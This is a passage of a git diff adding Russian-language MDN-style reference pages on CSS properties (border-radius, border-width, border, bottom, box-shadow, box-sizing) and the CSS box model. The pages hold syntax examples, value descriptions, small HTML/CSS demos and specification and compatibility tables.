+ +

Свойство border-radius не применяется к элементам таблицы, когда свойство {{Cssxref ("border-collapse")}} имеет значение collapse.

+ +
Замечание: Как и с любым другим сокращенным свойством, отдельные подсвойства не могут наследоваться. Например, как в border-radius:0 0 inherit inherit, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.
+ +

Синтаксис

+ +
/* Такой синтаксис позволяет указать всего одно значение, вместе четырёх */
+/* Скругление применяется ко всем четырём углам */
+border-radius: 10px;
+
+/* top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5%;
+
+/* top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 2px 4px 2px;
+
+/* top-left | top-right | bottom-right | bottom-left */
+border-radius: 1px 0 3px 4px;
+
+/* Синтаксис из двух радиусов также может применяться ко всем четырем углам */
+/* (первые значения радиуса) /радиус */
+border-radius: 10px 5% / 20px;
+
+/* (первые значения радиуса) / top-left-and-bottom-right | top-right-and-bottom-left */
+border-radius: 10px 5% / 20px 30px;
+
+/* (первые значения радиуса) / top-left | top-right-and-bottom-left | bottom-right */
+border-radius: 10px 5px 2em / 20px 25px 30%;
+
+/* (первые значения радиуса) / top-left | top-right | bottom-right | bottom-left */
+border-radius: 10px 5% / 20px 25em 30px 35em;
+
+/* Глобальные значения */
+border-radius: inherit;
+border-radius: initial;
+border-radius: unset;
+
+ +

Свойство border-radius может быть задано как:

+ +
    +
  • одно, два, три или четыре значения {{cssxref("<length>")}} или {{cssxref("<percentage>")}}. Используется для задания обычного радиуса углов.
    • +
  • одна, две, три или четыре пары значений <length> or <percentage>, разделённые "/". Используется для задания эллиптического склугления.
    • +
+ +

Значения

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
radiusall-corner.png{{cssxref("<length>")}} или {{cssxref("<percentage>")}} устанавливает радиус скругления для всех углов элемента. Может быть указано только одно значение (или одна пара).
top-left-and-bottom-righttop-left-bottom-right.png{{cssxref("<length>")}} или {{cssxref("<percentage>")}} уставливает радиус для верхнего левого и нижного правого угла элемента. Следует использовать синтаксис с двумя значениями.
top-right-and-bottom-lefttop-right-bottom-left.png{{cssxref("<length>")}} или {{cssxref("<percentage>")}} устанавливает радиус для верхнего правого и нижнего левого угла элемента. Можно использовать синтаксис с двумя или тремя значениями.
top-lefttop-left.png{{cssxref("<length>")}} или {{cssxref("<percentage>")}} устанавливает радиус для левого верхнего угла элемента. Можно использовать синтаксис с тремя и четырьмя значениями.
top-righttop-right.png{{cssxref("<length>")}} или {{cssxref("<percentage>")}} уставливает радиус для верхнего правого угла элемента. Следует использовать синтаксис с четырьмя значениями.
bottom-rightbottom-rigth.png{{cssxref("<length>")}} или {{cssxref("<percentage>")}} уставливает радиус для нижнего правого угла элемента. Можно использовать синтаксис с тремя и четырьмя значениями.
bottom-leftbottom-left.png{{cssxref("<length>")}} или {{cssxref("<percentage>")}} устанавливает радиус для нижнего левого угла элемента. Следует использовать синтаксис с четырьмя значениями.
+ +
+
{{cssxref("<length>")}}
+
Обозначает размер радиуса окружности или две полуоси эллипса. Может быть выражена в любых единицах CSS. Отрицательные значения не принимаются.
+
{{cssxref("<percentage>")}}
+
Обозначает размер радиуса окружности, или две полуоси эллипса. Проценты по горизонтальной оси относятся к ширине элемента, проценты по вертикальной оси к высоте. Отрицательные значения недействительны.
+
+ +

Например:

+ +
border-radius: 1em/5em;
+
+/* ... эквивалентно этому: */
+border-top-left-radius:     1em 5em;
+border-top-right-radius:    1em 5em;
+border-bottom-right-radius: 1em 5em;
+border-bottom-left-radius:  1em 5em;
+
+ +
border-radius: 4px 3px 6px / 2px 4px;
+
+/* ... эквивалетно этому: */
+border-top-left-radius:     4px 2px;
+border-top-right-radius:    3px 4px;
+border-bottom-right-radius: 6px 2px;
+border-bottom-left-radius:  3px 4px;
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +
  border: solid 10px;
+  /* угол изгибается в виде 'D' */
+  border-radius: 10px 40px 40px 10px;
+
+ +
  border: groove 1em red;
+  border-radius: 2em;
+
+ +
  background: gold;
+  border: ridge gold;
+  border-radius: 13em/3em;
+
+ +
  border: none;
+  border-radius: 40px 10px;
+
+ +
  border: none;
+  border-radius: 50%;
+
+ +
  border: dotted;
+  border-width: 10px 4px;
+  border-radius: 10px 40px;
+
+ +
  border: dashed;
+  border-width: 2px 4px;
+  border-radius: 40px;
+
+ +

Живые примеры

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Backgrounds', '#border-radius', 'border-radius') }}{{ Spec2('CSS3 Backgrounds') }}Изначальное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.border-radius")}}

+ +

Смотрите также

+ +
    +
  • Относящиеся к Border-radius CSS-свойства: {{Cssxref("border-top-left-radius")}}, {{Cssxref("border-top-right-radius")}}, {{Cssxref("border-bottom-right-radius")}}, {{Cssxref("border-bottom-left-radius")}}
    • +
diff --git a/files/ru/web/css/border-width/index.html b/files/ru/web/css/border-width/index.html new file mode 100644 index 0000000000..658ac21870 --- /dev/null +++ b/files/ru/web/css/border-width/index.html @@ -0,0 +1,193 @@ +--- +title: border-width +slug: Web/CSS/border-width +translation_of: Web/CSS/border-width +--- +
{{CSSRef}}
+ +

Summary

+ +

CSS свойство {{cssxref("border-width")}} определяет ширину рамки элемента. Но обычно ее задают не отдельно, а в составе свойства {{cssxref("border")}}.

+ +

{{cssinfo}}

+ +

Синтакс

+ +
Общий синтаксис: {{csssyntax("border-width")}}
+
+ +
border-width: ширина                  /* Одно значение */
+border-width: вертикальная горизотальная    /* Два значения */
+border-width: верх горизонтальная основание    /* Три значения */
+border-width: верх право основание лево  /* Четыре значения */
+
+border-width: inherit /* Родительское значение */
+
+ +

Values

+ +
+
<br-width>
+
Is either a non-negative explicit {{cssxref("<length>")}} value or a keyword denoting the thickness of the bottom border. The keyword must be one of the following values: + + + + + + + + + + + + + + + + + + +
thin +
+ 		A thin border
medium +
+ 		A medium border
thick +
+ 		A thick border
+ The specification doesn't precisely define the thickness of each of the keywords, which is therefore implementation specific. Nevertheless, it requests that the thickness does follow the thin ≤ medium ≤ thick inequality and that the values are constant on a single document.
+
+ +

inherit

+ +
+
Is a keyword indicating that all four values are inherited from their parent's element calculated value.
+
+ +

Examples

+ +

A mix of values and lengths

+ +

HTML

+ +
<p id="sval">
+    one value: 6px wide border on all 4 sides</p>
+<p id="bival">
+    two different values: 2px wide top and bottom border, 10px wide right and left border</p>
+<p id="treval">
+    three different values: 0.3em top, 9px bottom, and zero width right and left</p>
+<p id="fourval">
+    four different values: "thin" top, "medium" right, "thick" bottom, and 1em right</p>
+ +

CSS

+ +
#sval {
+    border: ridge #ccc;
+    border-width: 6px;
+}
+#bival {
+    border: solid red;
+    border-width: 2px 10px;
+}
+#treval {
+    border: dotted orange;
+    border-width: 0.3em 0 9px;
+}
+#fourval {
+    border: solid lightgreen;
+    border-width: thin medium thick 1em;
+}
+p {
+    width: auto;
+    margin: 0.25em;
+    padding: 0.25em;
+}
+ +

Result

+ +

{{ EmbedLiveSample('A_mix_of_values_and_lengths', 300, 180) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-width')}}{{Spec2('CSS3 Backgrounds')}}No direct change, the {{cssxref("<length>")}} CSS data type extension has an effect on this property.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-width')}}{{Spec2('CSS2.1')}}Added the constraint that values' meaning must be constant inside a document.
{{SpecName('CSS1', '#border-width', 'border-width')}}{{Spec2('CSS1')}}
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}4.03.51.0 (85)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.0{{CompatGeckoMobile("1.9.2")}}6.0113.0
+
+ +

See also

+ +
    +
  • The border-related shorthand properties: {{Cssxref("border")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}
    • +
  • The border-width-related properties: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}
    • +
diff --git a/files/ru/web/css/border/index.html b/files/ru/web/css/border/index.html new file mode 100644 index 0000000000..9f116b5eda --- /dev/null +++ b/files/ru/web/css/border/index.html @@ -0,0 +1,118 @@ +--- +title: border +slug: Web/CSS/border +tags: + - CSS Границы + - CSS свойства + - Разметка + - СовместимостьМобильныхБраузеров + - Справка +translation_of: Web/CSS/border +--- +
{{CSSRef("CSS Borders")}}
+ +

Свойство CSS border это  универсальное свойство для указания всех персональных свойств границ за раз: {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}.

+ +
{{EmbedInteractiveExample("pages/css/border.html")}}
+ +

Как и во всех универсальных свойствах, любое персональное значение, которое не указанно, устанавливается в начальное занчение. Обратите внимание, border не может быть использован для указания пользовательского значения {{cssxref("border-image")}}, но вместо этого устанавливает его в начальное значение, т.е. none.

+ +
border: 1px;
+border: 2px dotted;
+border: medium dashed green;
+
+ +

 

+ +
+

Замечание: Рекомендуется использовать border, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}  принимают до четырех значений, позволяя установить различные значения для каждого ребра, border принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырех границ.

+
+ +

Синтаксис

+ +

Свойство border  указывается используя одно или более значений <br-width>, <br-style>, и <color> указанных ниже.

+ +

Значения

+ +
+
<br-width>
+
Толщина границ. По умолчанию medium если отсутствует. Больше информации {{Cssxref("border-width")}}.
+
<br-style>
+
Стиль линии границ. По умолчанию none если отсутствует. Больше информации {{Cssxref("border-style")}}.
+
{{cssxref("<color>")}}
+
Цвет границ. По умолчанию принимает значение свойства элементов {{cssxref("color")}}. Больше информации {{Cssxref("border-color")}}.
+
+ +

Обычный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

HTML

+ +
<div class="fun-border">Look at my borders.</div>
+<p>Вы можете редактировать CSS ниже для экспериментов со стилями границ!</p>
+<style contenteditable>
+  .fun-border {
+    border: 2px solid red;
+  }
+</style>
+
+ +

CSS

+ +
style {
+  display: block;
+  border: 1px dashed black;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Examples')}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}{{Spec2('CSS3 Backgrounds')}}Убирает  особую поддержку для transparent, так как сейчас принимается как значение {{cssxref("<color>")}}; это не имеет практического воздействия.
+ Хотя нельзя установить пользовательское значение через универсальное свойство, border сейчас сбрасывает {{cssxref("border-image")}} до начального значения (none).
{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}{{Spec2('CSS2.1')}}Принимает ключевое слово inherit. Так же принимает transparent как действующий цвет.
{{SpecName('CSS1', '#border', 'border')}}{{Spec2('CSS1')}}Начальное определение.
+ +

{{cssinfo}}

+ +

Совместимость браузеров

+ +
+
+

{{Compat("css.properties.border")}}

+
+
+ +

Также смотрите

+ +
    +
  • {{ Cssxref("border-radius") }}-related CSS properties: {{ Cssxref("border-top-left-radius") }}, {{ Cssxref("border-top-right-radius") }}, {{ Cssxref("border-bottom-right-radius") }}, {{ Cssxref("border-bottom-left-radius") }}
    • +
diff --git a/files/ru/web/css/bottom/index.html b/files/ru/web/css/bottom/index.html new file mode 100644 index 0000000000..db0c02f691 --- /dev/null +++ b/files/ru/web/css/bottom/index.html @@ -0,0 +1,162 @@ +--- +title: bottom +slug: Web/CSS/bottom +tags: + - CSS + - CSS Позиционирование + - CSS свойство + - Справка +translation_of: Web/CSS/bottom +--- +
{{CSSRef}}
+ +

CSS свойство bottom частично определяет вертикальную позицию позиционируемого элемента. Оно не влияет на непозиционируемые элементы (т.е. bottom не применится, если задано position: static).

+ +
{{EmbedInteractiveExample("pages/css/bottom.html")}}
+ + + +

Эффект свойства bottom зависит от того, как позиционируется элемент (то есть от значения свойства {{cssxref("position")}}):

+ +
    +
  • Когда задано position: absolute или fixed — свойство bottom устанавливает расстояние между нижним краем элемента и нижним краем содержащего его блока.
    • +
  • Когда задано position: relative — свойство bottom устанавливает расстояние, на которое нижний край элемента перемещается выше его обычной позиции.
    • +
  • Когда задано position: sticky — свойство bottom работает так, как при position: relative во время нахождения элемента внутри области просмотра, и как position: fixed вне области просмотра.
    • +
  • Когда задано position: static — свойство bottom не имеет никакого эффекта.
    • +
+ +

Когда заданы оба свойства {{cssxref("top")}} и bottom, а свойство {{cssxref("height")}} не задано, auto или равно 100%, то оба свойства {{cssxref("top")}} и bottom учитываются. Если свойство {{cssxref("height")}} задано, то свойство {{cssxref("top")}} будет учтено, а bottom — проигнорировано.

+ +

Синтаксис

+ +
/* Значения величин */
+bottom: 3px;
+bottom: 2.4em;
+
+/* Процентные значения от высоты родительского блока */
+bottom: 10%;
+
+/* Ключевое слово */
+bottom: auto;
+
+/* Глобальные значения */
+bottom: inherit;
+bottom: initial;
+bottom: unset;
+
+ +

Значения

+ +
+
{{cssxref("<length>")}}
+
Отрицательная, нулевая или положительная величина, которая представляет: +
    +
  • для абсолютно позиционируемых элементов &mdash расстояние до нижнего края содержащего их блока;
    • +
  • для относительно позиционируемых элементов &mdash расстояние, на которое элемент смещается вверх, относительно своего положения в нормальном потоке.
    • +
+
+
{{cssxref("<percentage>")}}
+
Процент от высоты родительского блока.
+
auto
+
Ключевое слово, которое указывает, что: +
    +
  • для абсолютно спозиционированных элементов — позиция элемента опирается на свойство {{cssxref("top")}}, пока height: auto обрабатывается как высота в зависимости от содержимого; если так же и bottom: auto, то элемент располагается так же, как при статическом позиционировании.
    • +
  • для относительно спозиционированных элементов — расстояние элемента от его обычной позиции основано на свойстве {{cssxref ("top")}}; если значение top также auto, элемент вообще не перемещается по вертикали.
    • +
+
+
inherit
+
Это ключевое слово указывает, что значение будет соответствовать вычисленному значению родительского блока (необязательно непосредственного родителя). Вычисляемое значение обрабатывается так же, как {{cssxref("<length>")}}, {{cssxref("<percentage>")}} или ключевое слово auto.
+
+ + +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ + + +

Этот пример демонстрирует разницу в поведении свойства bottom, когда {{cssxref("position")}} является absolute и fixed.

+ +

HTML

+ +
<h2>Эксперимент</h2>
+<p>Здесь<br>мы<br>набираем<br>побольше<br>высоты<br>для<br>вящей<br>наглядности<br>нашего<br>скромного,<br>но<br>очень<br>убедительного<br>эксперимента.<br>- Вот.</p>
+<div class="fixed"><p>Я фиксирован</p></div>
+<div class="absolute"><p>Я абсолютен</p></div>
+ +

CSS

+ +
p {
+  font-size: 30px;
+  line-height: 2em;
+}
+
+div {
+  width: 48%;
+  text-align: center;
+  background: rgba(55,55,55,.4);
+  border: 1px solid blue;
+}
+
+.absolute {
+  position: absolute;
+  bottom: 0;
+  left: 0;
+}
+
+.fixed {
+  position: fixed;
+  bottom: 0;
+  right: 0;
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример','500','250')}}

+ +

Характеристики

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент
{{SpecName('CSS3 Transitions', '#animatable-css', 'bottom')}}{{Spec2('CSS3 Transitions')}}Определяет дно как анимацию.
{{SpecName('CSS3 Positioning', '#propdef-bottom', 'bottom')}}{{Spec2('CSS3 Positioning')}}Добавляет поведение для липкого позиционирования.
{{SpecName('CSS2.1', 'visuren.html#choose-position', 'bottom')}}{{Spec2('CSS2.1')}}Исходное определение.
+ +

{{cssinfo}}

+ +

Совместимость с браузером

+ +
+ + +

{{Compat("css.properties.bottom")}}

+
+ +

Смотрите также

+ +
    +
  • {{cssxref("position")}}, {{cssxref("top")}}, {{cssxref("left")}}, {{cssxref("right")}}
    • +
diff --git a/files/ru/web/css/box-shadow/index.html b/files/ru/web/css/box-shadow/index.html new file mode 100644 index 0000000000..27ff998e35 --- /dev/null +++ b/files/ru/web/css/box-shadow/index.html @@ -0,0 +1,139 @@ +--- +title: box-shadow +slug: Web/CSS/box-shadow +tags: + - CSS + - CSS свойства + - CSS стили + - HTML цвета + - Стили + - тени +translation_of: Web/CSS/box-shadow +--- +
{{CSSRef}}
+ +

CSS-свойство box-shadow позволяет добавлять элементу одну или несколько теней, указывая их параметры через запятую. Свойство тени представляет собой описанные смещения по x и y от элемента, радиус размытия и его радиус, а также цвет.

+ +
{{EmbedInteractiveExample("pages/css/box-shadow.html")}}
+ + + +

Свойство box-shadow позволяет вам задать тень для почти любого элемента. Если элементу задано свойство {{cssxref("border-radius")}}, то тень также будет с закруглёнными углами. Расположение теней по оси z будет такое же, как и при применении свойства text-shadow (первая тень будет впереди остальных).

+ +

Генератор box-shadow generator - интерактивный инструмент, позволяющий вам генерировать box-shadow.

+ +

Синтаксис

+ +
/* offset-x | offset-y | color */
+box-shadow: 60px -16px teal;
+
+/* offset-x | offset-y | blur-radius | color */
+box-shadow: 10px 5px 5px black;
+
+/* offset-x | offset-y | blur-radius | spread-radius | color */
+box-shadow: 2px 2px 2px 1px rgba(0, 0, 0, 0.2);
+
+/* inset | offset-x | offset-y | color */
+box-shadow: inset 5em 1em gold;
+
+/* Any number of shadows, separated by commas */
+box-shadow: 3px 3px red, -1em 0 0.4em olive;
+
+/* Глобальные ключевые слова */
+box-shadow: inherit;
+box-shadow: initial;
+box-shadow: unset;
+
+ +

Чтобы задать одну тень, можно использовать:

+ +
    +
  • Два, три и четыре значения <length>. + +
      +
    • Если задано только два значения, они интерпретируется как <offset-x><offset-y> values.
      • +
    • Если задано третье значение, оно понимается как <blur-radius>.
      • +
    • Если задано чертвёртое значение, оно интерпретируется <spread-radius>.
      • +
    +
    • +
  • Дополнительно, можно задать ключевое слово inset.
    • +
  • Дополнительно, можно задать значение <color>.
    • +
+ +

Чтобы задать несколько теней, перечислите их через запятую.

+ +

Значения

+ +
+
inset
+
Если ключевое слово inset не указано (по умолчанию), тень будет снаружи элемента (и создаст эффект выпуклости блока).
+ При наличие ключевого слова inset, тень будет падать внутри блока и создаст эффект вдавленности блока. Inset-тени рисуются в пределах границ элемента (даже прозрачные), поверх фона и за контентом.
+
<offset-x> <offset-y>
+
Существуют 2 значения {{ cssxref("<length>") }}, которые устанавливают смещение тени. <offset-x> определяет горизонтальное расстояние. Отрицательные значения располагают тень слева от элемента. <offset-y> определяет вертикальное расстояние. Отрицательные значения располагают тень выше элемента. Посмотрите какие единицы {{ cssxref("<length>") }} можно задать.
+ Если оба значения равны 0, то тень расположится за элементом (и будет отображаться размытие, если <blur-radius> и/или <spread-radius> установлены).
+
<blur-radius>
+
Это третье значение {{ cssxref("<length>") }}. Чем больше это значение, тем больше и светлее размытие. Отрицательные значения не поддерживаются. Если не определено, будет использоваться 0 (резкий край тени). Спецификация не содержит в себе точного алгоритма расчёта размытости теней, однако, в ней указано следущее:
+
+
…for a long, straight shadow edge, this should create a color transition the length of the blur distance that is perpendicular to and centered on the shadow’s edge, and that ranges from the full shadow color at the radius endpoint inside the shadow to fully transparent at the endpoint outside it.
+
+
<spread-radius>
+
Это четвёртое значение {{ cssxref("<length>") }}. Положительные значения увеличивают тень, отрицательные - сжимают. По умолчанию значение равно 0 (размер тени равен размеру элемента).
+
<color>
+
Смотрите возможные ключевые слова и нотации для {{cssxref("<color>")}}.
+ Если не указано, используемый цвет будет зависеть от браузера - обычно будет применено значение свойства {{cssxref("color")}}, но Safari в настоящее время рисует прозрачную тень в этом случае.
+
+ +

Интерполяция

+ +

Each shadow in the list (treating none as a 0-length list) is interpolated via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components. For each shadow, if both input shadows are or are not inset, then the interpolated shadow must match the input shadows in that regard. If any pair of input shadows has one inset and the other not inset, the entire shadow list is uninterpolable. If the lists of shadows have different lengths, then the shorter list is padded at the end with shadows whose color is transparent, all lengths are 0, and whose inset (or not) matches the longer list.

+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Backgrounds', '#box-shadow', 'box-shadow') }}{{ Spec2('CSS3 Backgrounds') }}Изначальное определение
+ +

{{cssinfo}}

+ +

Совместимость с браузерами

+ +

+ + + +

{{Compat("css.properties.box-shadow")}}

+ +

+ +

Смотрите_также

+ +
    +
  • Тип данных {{cssxref("<color>")}}
    • +
  • Другие свойства, относящиеся к цвету: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}
    • +
  • Задание цвета HTML-элементам с помощью CSS
    • +
diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html new file mode 100644 index 0000000000..9253fd4660 --- /dev/null +++ b/files/ru/web/css/box-sizing/index.html @@ -0,0 +1,128 @@ +--- +title: box-sizing +slug: Web/CSS/box-sizing +tags: + - Блоковая модель + - Контент + - высота + - размер + - ширина +translation_of: Web/CSS/box-sizing +--- +
{{CSSRef}}
+ +

CSS свойство box-sizing определяет как вычисляется общая ширина и высота элемента.

+ +
{{EmbedInteractiveExample("pages/css/box-sizing.html")}}
+ +
+ +

По умолчанию в блоковой модели CSS ширина и высота, которую вы задаёте элементу применяется только для контента элемента. Если у элемента есть граница или внутренний отступ, то они добавляются к ширине и высоте, чтобы получить отображаемый на экране размер. Это значит, что когда вы выставляете ширину и высоту, вам придётся изменять значение, при добавлении границ и отступов. Например, если у вас есть четыре блока с width: 25%; , и у какого-нибудь из них есть граница или внутренний отступ слева или справа, то по умолчанию они не поместятся на одной строке.

+ +

Свойство box-sizing может изменять это поведение:

+ +
    +
  • content-box даёт стандартное поведение свойства box-sizing. Если вы выставите элементу ширину 100 пикселей, то ширина его контента будет 100 пикселей, а ширина границ и внутренних отступов при рендере будет добавлена к финальной ширине, делая элемент шире ста пикселей.
    • +
  • border-box говорит браузеру учитывать любые границы и внутренние отступы в значениях, которые вы указываете в ширине и высоте элемента. Если вы выставите элементу ширину 100 пикселей, то эти 100 пикселей будут включать в себя границы и внутренние отступы, а контент сожмётся, чтобы выделить для них место. Обычно это упрощает работу с размерами элементов.
    • +
+ +
+

Примечание: Часто выставление box-sizing: border-box полезно для размещения элементов. Оно сильно упрощает работу с размерами элементов, и как правило устранаяет ряд подводных камней, на которые вы можете наткнуться, размещая контент. С другой стороны, используя position-relative или position: absolute, box-sizing: content-box позволяет позиционным значениям быть зависимыми только от контента, а не от границ и отступов, что иногда желательно.

+
+ +

Синтаксис

+ +

Для свойства box-sizing  устанавливается единственное ключевое слово из списка значени ниже.

+ +

Значения

+ +
+
content-box
+
Это значение по умолчанию, определенное в CSS стандарте. Свойства width и height включают исключительно контент, и не включают padding и border. Например .box {width: 350px; border: 10px solid black;}  будет иметь ширину 370 пикселей.
+
Размеры элемента рассчитываются следующим образом: width = ширина контента, и height = высота контента. (Границы и внутренние отступы не включаются в вычисление.)
+
+ +
+
border-box
+
Свойства width и height включают контент, внутренний отступ и границы, но не включают внешний отступ. Заметьте, что внутренний отступ и граница будут внутри блока. Например, .box {width: 350px; border: 10px solid black;} будет иметь общую ширину 350 пикселей, а ширина контента составит 330 пикселей. Размер контента не может быть отрицательным, минимальное значение - 0, поэтому border-box невозможно использовать для скрытия элемента.
+
Размеры элемента рассчитываются следующим образом: width = граница + внутренний отступ + ширина контента, и height = граница + внутренний отступ + высота контента.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +
+

Примечание: Значение padding-box устарело

+
+ +

Пример

+ +

Этот пример показывает как разные значения box-sizing изменяют видимый размер двух идентичных элементов.

+ +

HTML

+ +
<div class="content-box">Content box</div>
+<br>
+<div class="border-box">Border box</div>
+ +

CSS

+ +
div {
+  width: 160px;
+  height: 80px;
+  padding: 20px;
+  border: 8px solid red;
+  background: yellow;
+}
+
+.content-box {
+  box-sizing: content-box;
+  /* Total width: 160px + (2 * 20px) + (2 * 8px) = 216px
+     Total height: 80px + (2 * 20px) + (2 * 8px) = 136px
+     Content box width: 160px
+     Content box height: 80px */
+}
+
+.border-box {
+  box-sizing: border-box;
+  /* Total width: 160px
+     Total height: 80px
+     Content box width: 160px - (2 * 20px) - (2 * 8px) = 104px
+     Content box height: 80px - (2 * 20px) - (2 * 8px) = 24px */
+}
+ +

Результат

+ +

{{EmbedLiveSample('Пример', 'auto', 300)}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Basic UI', '#box-sizing', 'box-sizing')}}{{Spec2('CSS3 Basic UI')}}
+ +

{{cssinfo}}

+ +

Совмествимость с браузерами

+ +

{{Compat("css.properties.box-sizing")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/box_model/index.html b/files/ru/web/css/box_model/index.html new file mode 100644 index 0000000000..6868871c5a --- /dev/null +++ b/files/ru/web/css/box_model/index.html @@ -0,0 +1,66 @@ +--- +title: 'Блоковая модель (боксовая модель, box model)' +slug: Web/CSS/box_model +tags: + - CSS + - Guide + - Веб +translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model +--- +

Описание

+ +

В HTML-документе каждому элементу на странице соответствует прямоугольная область (бокс или блок). Движок рендеринга в браузере определяет размеры и положение боксов на странице, а также их свойства вроде цвета, фоновой картинки для того, чтобы отобразить их на экране.

+ +

В языке CSS есть специальная боксовая модель (также блоковая модель или блочная модель, англ. box model), которая описывает, из чего состоит бокс и какие свойства влияют на его размеры. В ней у каждого бокса есть 4 области: margin (внешние отступы), border (рамка), padding (внутренние поля), и content (контент или содержимое).

+ +

CSS Box model

+ +

Внутренняя область элемента (content area) содержит текст и другие элементы, расположенные внутри (контент или содержимое). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри content edge; её размеры называются ширина контента (content width или content-box width), и высота контента (content height или content-box height). Иногда еще говорят «внутренняя ширина/высота элемента»

+ +

По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задается свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство  {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.

+ +

Поля элемента (padding area) — это пустая область, окружающая контент. Она может быть залита каким-то цветом, покрыта фоновый картинкой, а её границы называются края полей (padding edge).

+ +

Размеры полей задаются по отдельности с разных сторон свойствами {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} или общим свойством {{ cssxref("padding") }}.

+ +

Область рамки (border area) окружает поля элемента, а ее граница называется края рамки (border edge). Ширина рамки задается отдельным свойством  {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учетом полей и рамки иногда называют внешней шириной/высотой элемента.

+ +

Отступы (margin area) добавляют пустое пространство вокруг элемента и определяют расстояние до соседних элементов.

+ +

Величина отступов задается по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.

+ +

Отступы двух соседних элементов, расположенных друг над другом или вложенных друг в друга, могут накладываться. Это называется схлопывание границ (margin collapsing). Схлопываются только вертикальные отступы.

+ +

Для элементов с {{ cssxref("display") }}: inline (или inline-block, inline-table) на занимаемое по высоте место также влияет значение свойства {{ cssxref('line-height') }}.

+ +

Стандарты

+ + + + + + + + + + + + + + + + + + + + + +
СтандартСтатусПримечание
CSS Level 2 (revision 1){{ Spec2('CSS2.1') }}Though more precisely worded, there is no practical change
CSS Level 1{{ Spec2('CSS1') }} 
+ +

Смотрите также

+ +
    +
  • Справочник по CSS
    • +
  • {{ CSS_key_concepts() }}
    • +
  • Связанные свойства: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}
    • +
diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html new file mode 100644 index 0000000000..6f5b561a35 --- /dev/null +++ b/files/ru/web/css/calc()/index.html @@ -0,0 +1,210 @@ +--- +title: Функция calc() +slug: Web/CSS/calc() +tags: + - css calc +translation_of: Web/CSS/calc() +--- +
{{CSSRef}}
+ +

